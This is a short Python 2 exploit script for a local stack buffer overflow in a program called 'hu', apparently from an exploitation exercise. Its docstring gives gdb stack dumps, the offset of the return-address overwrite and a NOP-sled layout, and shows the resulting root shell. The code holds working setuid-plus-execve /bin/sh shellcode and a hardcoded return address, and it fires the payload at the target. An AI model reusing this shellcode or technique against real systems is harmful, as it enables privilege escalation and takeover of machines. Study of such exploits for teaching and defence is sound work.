1. #!/usr/bin/env python
  2. """
  3. Ok so it seems i made a mistake in my original 
  4. notes. sorry ;> 
  5.  
  6. tip) check the stack to make sure your shellcode 
  7.      is not being corrupted.
  8. ex:
  9.  
  10. (gdb) x/10x $esp - 47
  11. 0xbffff591:	0x90909090	0x90909090	0x90909090	0x90909090
  12. 0xbffff5a1:	0x90909090	0x90909090	0xdb31c031	0xd231c931
  13. 0xbffff5b1:	0x80cd46b0	0x2f2f6851
  14. (gdb) 
  15. 0xbffff5b9:	0x2f686873	0x006e6962	0x2f000000	0x2f6e6962
  16. 0xbffff5c9:	0x0068732f	0x00000000	0xf0bffff7	0x48bffff5
  17. 0xbffff5d9:	0x75bffff6	0x70b7e8a7
  18. (gdb) quit
  19.  
  20. we see our shellcode starting at 0xbffff5a1 going through 
  21. the addresses we see it gets corrupted for some reason at 0xbffff5b9
  22. null bytes -> fail.
  23.  
  24. Solution:
  25. Eip resides at buffer = 1032 exactly so your buffer has to be 1028bytes
  26. not 1032. since you use those extra 4 bytes as the eip address..
  27.  
  28. anyway for this bug i just split the buffer up like so
  29. NOPS -> 428 bytes
  30. SHELLCODE -> 35 bytes
  31. NOPS -> 565 bytes
  32. RET -> 4 bytes
  33.  
  34. >>> 428 + 35 + 565 +4
  35. 1032
  36.  
  37. (gdb) x/10x $esp -625
  38. 0xbffff35f:	0x90909090	0x90909090	0x90909090	0x90909090
  39. 0xbffff36f:	0x90909090	0x31c03190	0x31c931db	0xcd46b0d2
  40. 0xbffff37f:	0x2f685180	0x6868732f
  41. (gdb) quit
  42.  
  43. as you can see our shellcode is not corrupted this time as it was last time :D
  44. ---
  45.  
  46. root@user-laptop:/home/user# nano bleh.py
  47. root@user-laptop:/home/user# python bleh.py
  48. # id
  49. uid=0(root) gid=0(root) groups=0(root)
  50. # exit
  51. """
  52.  
  53. import os
  54. import struct
  55.  
  56. #shellcode len is 35
  57. shellcode = (
  58.  "\x31\xc0\x31\xdb\x31\xc9"
  59.  "\x31\xd2\xb0\x46\xcd\x80"
  60.  "\x51\x68\x2f\x2f\x73\x68"
  61.  "\x68\x2f\x62\x69\x6e\x89"
  62.  "\xe3\x51\x53\x89\xe1\x31"
  63.  "\xc0\xb0\x0b\xcd\x80")
  64.  
  65. #EIP OVERWRITE IS AT 1032
  66.  
  67. lols  = "\x90"*428
  68. lols += shellcode
  69. lols += "\x90"*565
  70. lols += struct.pack('<L',0xbffff35f)
  71.  
  72. print os.system("./hu %s"%lols)